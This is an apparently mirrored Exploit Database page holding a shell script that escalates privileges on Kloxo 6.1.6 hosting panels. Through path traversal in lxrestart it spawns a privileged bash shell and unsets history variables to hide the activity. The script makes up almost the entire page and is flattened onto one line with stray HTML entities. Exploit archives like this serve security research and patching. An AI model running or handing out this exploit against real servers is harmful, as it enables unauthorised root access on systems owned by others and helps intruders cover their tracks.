Kloxo 6.1.6 – Local Privilege Escalation

• Exploit Database
• 120 阅读

• 作者： HTP
  日期： 2013-05-13
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/25406/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

  #!/bin/sh # Exploit Title: Kloxo Local Privilege Escalation # Google Dork: inurl:kiddies # Date: August 2012 or so # Exploit Author: HTP # Vendor Homepage: http://lxcenter.org/ # Software Link: [download link if available] # Version: 6.1.6 (Latest) # Tested on: CentOS 5 # CVE : None # This exploit requires you to be the Apache user, or another capable of running lxsuexec. LXLABS=<code>cat /etc/passwd | grep lxlabs | cut -d: -f3 export MUID=$LXLABS export GID=$LXLABS export TARGET=/bin/sh export CHECK_GID=0 export NON_RESIDENT=1 echo "unset HISTFILE HISTSAVE PROMPT_COMMAND TMOUT" >> /tmp/w00trc echo "/usr/sbin/lxrestart &apos;../../../bin/bash --init-file /tmp/w00trc #&apos; " > /tmp/lol lxsuexec /tmp/lol